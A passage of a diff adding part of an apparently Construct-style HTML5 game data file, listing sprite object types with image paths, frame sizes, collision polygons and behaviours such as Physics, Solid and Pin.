+ 230628118616550
+ ]
+ ],
+ false,
+ false,
+ 636619442433370,
+ [],
+ null
+ ],
+ [
+ "t338",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 906621091422776,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1349206417798996,
+ 0.5151515007019043,
+ [],
+ [
+ -0.069444440305233,
+ -0.2803035080432892,
+ 0.8015873432159424,
+ -0.2727274894714356,
+ 0.8015873432159424,
+ 0.2500004768371582,
+ -0.07142854481935501,
+ 0.242424488067627
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 477507417643568
+ ]
+ ],
+ false,
+ false,
+ 941030353022689,
+ [],
+ null
+ ],
+ [
+ "t339",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 727719644868604,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ [],
+ [
+ -0.0773809477686882,
+ -0.2803035080432892,
+ 0.7956348657608032,
+ -0.2878785133361816,
+ 0.7976188659667969,
+ 0.2500004768371582,
+ -0.0773809477686882,
+ 0.2500004768371582
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 170140700900781
+ ]
+ ],
+ false,
+ false,
+ 202744309910708,
+ [],
+ null
+ ],
+ [
+ "t340",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 353987722004105,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ [],
+ [
+ -0.0773809477686882,
+ -0.2803035080432892,
+ 0.7976188659667969,
+ -0.280302494764328,
+ 0.7976188659667969,
+ 0.2272725105285645,
+ -0.07539685070514679,
+ 0.2348484992980957
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 558644962526539
+ ]
+ ],
+ false,
+ false,
+ 850495574389897,
+ [],
+ null
+ ],
+ [
+ "t341",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 336528273443962,
+ [
+ [
+ "images/sprite237-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 952493975839497
+ ]
+ ],
+ false,
+ false,
+ 601267075365310,
+ [],
+ null
+ ],
+ [
+ "t342",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 122384849383696,
+ [
+ [
+ "images/sprite244-sheet0.png",
+ 2213,
+ 0,
+ 0,
+ 384,
+ 137,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 532715574625487
+ ],
+ [
+ "Sine2",
+ 13,
+ 450430253308292
+ ]
+ ],
+ false,
+ false,
+ 207317165325985,
+ [],
+ null
+ ],
+ [
+ "t343",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 315640310833461,
+ [
+ [
+ "images/sprite245-sheet0.png",
+ 4858,
+ 0,
+ 0,
+ 86,
+ 88,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 377611977896960
+ ]
+ ],
+ false,
+ false,
+ 345885775341566,
+ [],
+ null
+ ],
+ [
+ "t344",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 215536276037992,
+ [
+ [
+ "images/sprite246-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 821569545198194
+ ],
+ [
+ "Physics",
+ 16,
+ 417326657279250
+ ]
+ ],
+ false,
+ false,
+ 704029587799519,
+ [],
+ null
+ ],
+ [
+ "t345",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 286357310044638,
+ [
+ [
+ "images/sprite247-sheet0.png",
+ 18925,
+ 0,
+ 0,
+ 119,
+ 119,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 210082035222173
+ ],
+ [
+ "Solid",
+ 17,
+ 561977778526635
+ ]
+ ],
+ false,
+ false,
+ 413109393188723,
+ [],
+ null
+ ],
+ [
+ "t346",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 398798881214423,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 946667152040944
+ ],
+ [
+ "Solid",
+ 17,
+ 446558936855030
+ ]
+ ],
+ false,
+ false,
+ 875248065581024,
+ [],
+ null
+ ],
+ [
+ "t347",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 832137691282647,
+ [
+ [
+ "images/sprite250-sheet0.png",
+ 13100,
+ 0,
+ 0,
+ 228,
+ 58,
+ 1,
+ 0.460526317358017,
+ 0.5,
+ [],
+ [
+ -0.4210526049137116,
+ -0.4439659118652344,
+ 0.03947368264198303,
+ -0.1163789927959442,
+ 0.4989036619663239,
+ -0.4482759833335877,
+ 0.5263156890869141,
+ 0,
+ 0.05263170599937439,
+ 0.400862991809845,
+ -0.4517543911933899,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 302712086406633
+ ]
+ ],
+ false,
+ false,
+ 684783930707044,
+ [],
+ null
+ ],
+ [
+ "t348",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 119978957908538,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ [],
+ [
+ -0.0773809477686882,
+ -0.2803035080432892,
+ 0.7956348657608032,
+ -0.2878785133361816,
+ 0.7976188659667969,
+ 0.2500004768371582,
+ -0.0773809477686882,
+ 0.2500004768371582
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 689324145811940
+ ]
+ ],
+ false,
+ false,
+ 913057259582708,
+ [],
+ null
+ ],
+ [
+ "t349",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 25,
+ false,
+ 1,
+ 0,
+ false,
+ 889416685576643,
+ [
+ [
+ "images/vfxgold-sheet0.png",
+ 10816,
+ 163,
+ 152,
+ 141,
+ 136,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxgold-sheet0.png",
+ 10816,
+ 1,
+ 1,
+ 160,
+ 154,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxgold-sheet0.png",
+ 10816,
+ 163,
+ 1,
+ 164,
+ 149,
+ 1,
+ 0.5,
+ 0.5033556818962097,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxgold-sheet0.png",
+ 10816,
+ 329,
+ 1,
+ 142,
+ 151,
+ 1,
+ 0.5,
+ 0.503311276435852,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxgold-sheet0.png",
+ 10816,
+ 306,
+ 154,
+ 121,
+ 151,
+ 1,
+ 0.5041322112083435,
+ 0.503311276435852,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxgold-sheet0.png",
+ 10816,
+ 1,
+ 157,
+ 104,
+ 141,
+ 1,
+ 0.5,
+ 0.5035461187362671,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 224000230697047,
+ [],
+ null
+ ],
+ [
+ "t350",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 346645774634864,
+ [
+ [
+ "images/sprite252-sheet0.png",
+ 1303,
+ 0,
+ 0,
+ 26,
+ 123,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 365240417225360,
+ [],
+ null
+ ],
+ [
+ "t351",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 367415191926687,
+ [
+ [
+ "images/sprite253-sheet0.png",
+ 2323,
+ 0,
+ 0,
+ 71,
+ 54,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 798428235722156
+ ],
+ [
+ "LiteTween",
+ 21,
+ 135115843458672
+ ]
+ ],
+ false,
+ false,
+ 218150219370541,
+ [],
+ null
+ ],
+ [
+ "t352",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 821325968941012,
+ [
+ [
+ "images/sprite254-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 618909942657747,
+ [],
+ null
+ ],
+ [
+ "t353",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 382326943569975,
+ [
+ [
+ "images/sprite255-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 297898834369820
+ ]
+ ],
+ false,
+ false,
+ 726099561497463,
+ [],
+ null
+ ],
+ [
+ "t354",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles222.png",
+ 657,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 950592695516012,
+ [],
+ null
+ ],
+ [
+ "t355",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/hh2.png",
+ 4303,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 381633228561310,
+ [],
+ null
+ ],
+ [
+ "t356",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 572454811752559,
+ [
+ [
+ "images/sprite256-sheet0.png",
+ 976,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 440886266836538
+ ]
+ ],
+ false,
+ false,
+ 466239551556389,
+ [],
+ null
+ ],
+ [
+ "t357",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 398365898871126,
+ [
+ [
+ "images/sprite256-sheet0.png",
+ 976,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 892919329196762
+ ]
+ ],
+ false,
+ false,
+ 890386976945101,
+ [],
+ null
+ ],
+ [
+ "t358",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 321210093989195,
+ [
+ [
+ "images/enemigo1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 429497796342378,
+ [],
+ null
+ ],
+ [
+ "t359",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 391535253178136,
+ [
+ [
+ "images/sprite258-sheet0.png",
+ 727,
+ 0,
+ 0,
+ 108,
+ 36,
+ 1,
+ 0.5185185074806213,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 601305726048639,
+ [],
+ null
+ ],
+ [
+ "t360",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 710436850361406,
+ [
+ [
+ "images/sprite259-sheet0.png",
+ 4808,
+ 0,
+ 0,
+ 177,
+ 26,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 367571048652608,
+ [],
+ null
+ ],
+ [
+ "t361",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 384764458209979,
+ [
+ [
+ "images/sprite260-sheet0.png",
+ 7768,
+ 0,
+ 0,
+ 97,
+ 100,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 443869078892630,
+ [],
+ null
+ ],
+ [
+ "t362",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 536598136365224,
+ [
+ [
+ "images/sprite261-sheet0.png",
+ 7465,
+ 0,
+ 0,
+ 97,
+ 100,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ [],
+ [
+ 0.5051546096801758,
+ 0.5,
+ -0.4948453605175018,
+ 0.5,
+ -0.4948453605175018,
+ -0.5,
+ 0.5051546096801758,
+ -0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 444772083088002,
+ [],
+ null
+ ],
+ [
+ "t363",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 696326815070783,
+ [
+ [
+ "images/sprite262-sheet0.png",
+ 9923,
+ 0,
+ 0,
+ 97,
+ 100,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ [],
+ [
+ 0.5051546096801758,
+ 0.5,
+ -0.4948453605175018,
+ 0.5,
+ -0.4948453605175018,
+ -0.5,
+ 0.5051546096801758,
+ -0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 558613835606859,
+ [],
+ null
+ ],
+ [
+ "t364",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 966537921726313,
+ [
+ [
+ "images/sprite263-sheet0.png",
+ 3491,
+ 0,
+ 0,
+ 98,
+ 54,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 684022389471214
+ ]
+ ],
+ false,
+ false,
+ 668751093356319,
+ [],
+ null
+ ],
+ [
+ "t365",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 361675201917775,
+ [
+ [
+ "images/sprite264-sheet0.png",
+ 824,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 146136186957537,
+ [],
+ null
+ ],
+ [
+ "t366",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 431185896234795,
+ [
+ [
+ "images/sprite265-sheet0.png",
+ 6180,
+ 0,
+ 0,
+ 152,
+ 30,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ [],
+ [
+ -0.4802631437778473,
+ -0.4333335161209106,
+ 0.4934209287166596,
+ -0.4333335161209106,
+ 0.4934209287166596,
+ 0.3999999761581421,
+ -0.4802631437778473,
+ 0.3999999761581421
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 747825626804247
+ ]
+ ],
+ false,
+ false,
+ 859771418412932,
+ [],
+ null
+ ],
+ [
+ "t367",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 484067676992705,
+ [
+ [
+ "images/sprite266-sheet0.png",
+ 6233,
+ 0,
+ 0,
+ 152,
+ 30,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ [],
+ [
+ -0.4868420958518982,
+ -0.4333334565162659,
+ 0.4868419766426086,
+ -0.4333334565162659,
+ 0.4868419766426086,
+ 0.3999996185302734,
+ -0.4868420958518982,
+ 0.3999996185302734
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 246574113319215
+ ]
+ ],
+ false,
+ false,
+ 785517369205897,
+ [],
+ null
+ ],
+ [
+ "t368",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 223677441793003,
+ [
+ [
+ "images/sprite266-sheet0.png",
+ 6233,
+ 0,
+ 0,
+ 152,
+ 30,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ [],
+ [
+ -0.4868420958518982,
+ -0.4333334565162659,
+ 0.4868419766426086,
+ -0.4333334565162659,
+ 0.4802629947662354,
+ 0.3666666150093079,
+ -0.4868420958518982,
+ 0.3999996185302734
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 269057962883235
+ ]
+ ],
+ false,
+ false,
+ 838887584026869,
+ [],
+ null
+ ],
+ [
+ "t369",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 459312328570673,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 849369387998012
+ ],
+ [
+ "Solid",
+ 17,
+ 350607177131981
+ ]
+ ],
+ false,
+ false,
+ 356536694296953,
+ [],
+ null
+ ],
+ [
+ "t370",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 343607180903847,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 988115647934495
+ ],
+ [
+ "Solid",
+ 17,
+ 235951523370055
+ ]
+ ],
+ false,
+ false,
+ 526130106708661,
+ [],
+ null
+ ],
+ [
+ "t371",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 220801763124064,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 463382074372945
+ ],
+ [
+ "Solid",
+ 17,
+ 242462061901656
+ ]
+ ],
+ false,
+ false,
+ 367352666446120,
+ [],
+ null
+ ],
+ [
+ "t372",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 836602446648728,
+ [
+ [
+ "images/sprite271-sheet0.png",
+ 3389,
+ 0,
+ 0,
+ 448,
+ 33,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 955570468701947
+ ]
+ ],
+ false,
+ false,
+ 903102698463966,
+ [],
+ null
+ ],
+ [
+ "t373",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 554912453729212,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 265851373752121
+ ],
+ [
+ "Solid",
+ 17,
+ 118309533479173
+ ]
+ ],
+ false,
+ false,
+ 430752582356218,
+ [],
+ null
+ ],
+ [
+ "t374",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 135220915663197,
+ [
+ [
+ "images/enemigo2-sheet0.png",
+ 1349,
+ 0,
+ 0,
+ 38,
+ 34,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.006579011678695679,
+ -0.4926470518112183,
+ 0.5,
+ 0.4117649793624878,
+ -0.5,
+ 0.4117649793624878
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 252595630658189,
+ [],
+ null
+ ],
+ [
+ "t375",
+ 12,
+ false,
+ [
+ 357024297989199
+ ],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "left",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 334594099048999,
+ [
+ [
+ "images/enemigo3-sheet0.png",
+ 6599,
+ 0,
+ 0,
+ 71,
+ 71,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ [],
+ [
+ -0.47887322306633,
+ -0.47887322306633,
+ 0.4225347638130188,
+ -0.47887322306633,
+ 0.4225347638130188,
+ 0.436619758605957,
+ -0.47887322306633,
+ 0.436619758605957
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "right",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 437510916772279,
+ [
+ [
+ "images/enemigo3-sheet1.png",
+ 6357,
+ 0,
+ 0,
+ 71,
+ 71,
+ 1,
+ 0.49295774102211,
+ 0.5070422291755676,
+ [],
+ [
+ 0.4788732826709747,
+ 0.436619758605957,
+ -0.4225347340106964,
+ 0.436619758605957,
+ -0.4225347340106964,
+ -0.47887322306633,
+ 0.4788732826709747,
+ -0.47887322306633
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Platform",
+ 23,
+ 405023415859169
+ ]
+ ],
+ false,
+ false,
+ 630584432253258,
+ [],
+ null
+ ],
+ [
+ "t376",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 619426830509780,
+ [
+ [
+ "images/sprite274-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 352988056613434,
+ [],
+ null
+ ],
+ [
+ "t377",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 147678658120230,
+ [
+ [
+ "images/sprite274-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 164184021971906,
+ [],
+ null
+ ],
+ [
+ "t378",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 186544006390947,
+ [
+ [
+ "images/collition1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 439076183209229
+ ]
+ ],
+ false,
+ false,
+ 809876600282388,
+ [],
+ null
+ ],
+ [
+ "t379",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 677846846313703,
+ [
+ [
+ "images/collition2-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 952183051188703
+ ]
+ ],
+ false,
+ false,
+ 609474965407604,
+ [],
+ null
+ ],
+ [
+ "t380",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 40,
+ false,
+ 1,
+ 0,
+ false,
+ 838008956871656,
+ [
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 1,
+ 1,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 200,
+ 1,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 399,
+ 1,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 598,
+ 1,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 797,
+ 1,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 1,
+ 225,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 200,
+ 225,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 399,
+ 225,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 598,
+ 225,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 797,
+ 225,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 1,
+ 449,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
